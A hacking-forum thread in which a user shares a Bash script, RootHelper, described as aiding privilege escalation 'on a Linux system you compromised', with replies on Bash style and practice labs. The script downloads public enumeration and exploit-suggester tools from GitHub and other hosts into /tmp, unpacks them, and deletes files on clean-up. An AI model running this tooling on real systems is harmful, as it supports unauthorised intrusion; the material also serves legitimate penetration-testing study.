User Controls

RootHelper new and improved, extra functionality and exploit suggester.

  1. #1
    Sophie Pedophile Tech Support
    So if you recall, i made a Bash script that fetches a few scripts helpful with privilege escalation on a Linux box. Well, the old version was not that elegant and if for some reason the mkdir command would be unavailable to the user you are or the shell on the server in general for whatever reason then it wouldn't work. Because it would create subdirectories for each script and only then extract the archives to them. So i made it better by adding an options menu, some help information and the ability to just omit creating the directories and simply downloading the scripts to the /tmp/ folder.

    Here is my new code:


    #!/bin/bash

    function usage()
    { printf "%b \a\n\nRoothelper will aid in the process of privilege escalation on a Linux system you compromised by fetching a number of enumeration
    and exploit suggestion scripts. Below is a quick overview of the available options.

    The 'Help' option displays this informational message.

    The 'Download' option fetches the relevant files and places them in the /tmp/ directory.

    The option 'Download and unzip' downloads all files and extracts the contents of zip archives to their individual subdirectories respectively, please
    note; if the 'mkdir' command is unavailable however, the operation will not succeed and the 'Download' option should be used instead

    The 'Clean up' option removes all downloaded files and 'Quit' exits roothelper.\n "
    }

    function dzip()
    { echo "Downloading and extracting scripts..."
    `wget -O /tmp/ExploitSuggest.py http://www.securitysift.com/download/linuxprivchecker.py`
    `wget -O /tmp/LinEnum.zip https://github.com/rebootuser/LinEnum/archive/master.zip`
    `wget -O /tmp/ExploitSuggest_perl.zip https://github.com/PenturaLabs/Linux_Exploit_Suggester/archive/master.zip`
    `wget -O /tmp/file3.zip https://github.com/pentestmonkey/unix-privesc-check/archive/1_x.zip`
    for zip in *.zip
    do
    dirname=`echo $zip | sed 's/\.zip$//'`
    if mkdir $dirname
    then
    if cd $dirname
    then
    unzip ../$zip
    cd ..
    rm -f $zip
    else
    echo "Could not unpack $zip - cd failed"
    fi
    else
    echo "Could not unpack $zip - mkdir failed"
    fi
    done
    }

    dir="/tmp/"

    usage

    printf "%b" "\a\n\nTo use roothelper please select an option below.:\n"

    PS3='Please enter your choice: '
    options=("Help" "Download" "Download and unzip" "Clean up" "Quit")
    select opt in "${options[@]}"
    do
    case $opt in
    "Help")
    usage
    printf "%b \n"
    ;;
    "Download")
    echo "Downloading scripts to /tmp/"
    `wget -O /tmp/ExploitSuggest.py http://www.securitysift.com/download/linuxprivchecker.py`
    `wget -O /tmp/LinEnum.zip https://github.com/rebootuser/LinEnum/archive/master.zip`
    `wget -O /tmp/ExploitSuggest_perl.zip https://github.com/PenturaLabs/Linux_Exploit_Suggester/archive/master.zip`
    `wget -O /tmp/file3.zip https://github.com/pentestmonkey/unix-privesc-check/archive/1_x.zip`
    printf "%b \n"
    ;;
    "Download and unzip")
    dzip
    printf "%b \n"
    ;;
    "Clean up")
    echo "Removing downloaded files"
    find $dir/* -exec rm {} \;
    printf "%b \n"
    ;;
    "Quit")
    break
    ;;
    *) echo invalid option;;
    esac
    done


    As per usual you can download/clone directly from my github as well if you're interested.

    https://github.com/NullArray/RootHelper
  2. #2
    Sophie Pedophile Tech Support
    Holy honking semantic errors. I fixed it though.
  3. #3
    LiquidIce Houston
    Saving for later, +1. +1 for using spaces instead of tabs. -1 for using
    `
    instead of
    $()
    . Overall: +1. :P
  4. #4
    Sophie Pedophile Tech Support
    Saving for later, +1. +1 for using spaces instead of tabs. -1 for using
    `
    instead of
    $()
    . Overall: +1. :P

    What's the benefit of using:

    $()

    Also if you copied and pasted it make sure you have $dir instead of $PATH because PATH is special syntax, i forgot. So i changed it to $dir.
  5. #5
    EasyDoesIt Tuskegee Airman
    Your github gets sexier and sexier, Psycho.
  6. #6
    Sophie Pedophile Tech Support
    Your github gets sexier and sexier, Psycho.

    Thank you sir i try me hardest.
  7. #7
    EasyDoesIt Tuskegee Airman
    Thank you sir i try me hardest.

    I'm going to probably set up my new network here pretty soon. After classes I'm going to see what I can do with it.

    Maybe I'll make a thread on it.
  8. #8
    LiquidIce Houston
    What's the benefit of using:

    $()

    Also if you copied and pasted it make sure you have $dir instead of $PATH because PATH is special syntax, i forgot. So i changed it to $dir.

    Only stylistic - I prefer it for readability. I was sorta joking with the pluses and minuses, didnt know how else to say "good job".
  9. #9
    Sophie Pedophile Tech Support
    Only stylistic - I prefer it for readability. I was sorta joking with the pluses and minuses, didnt know how else to say "good job".

    Alright. Thank you though.

    I'm going to probably set up my new network here pretty soon. After classes I'm going to see what I can do with it.

    Maybe I'll make a thread on it.

    Sure thing, also if you want to set up some labs/wargames as i think you've alluded to might i suggest going over to vulnhub and look for some fun VM challenges? Also metasploitable is a good VM intended to teach the participant all about metasploit. It's pretty cool.
Jump to Top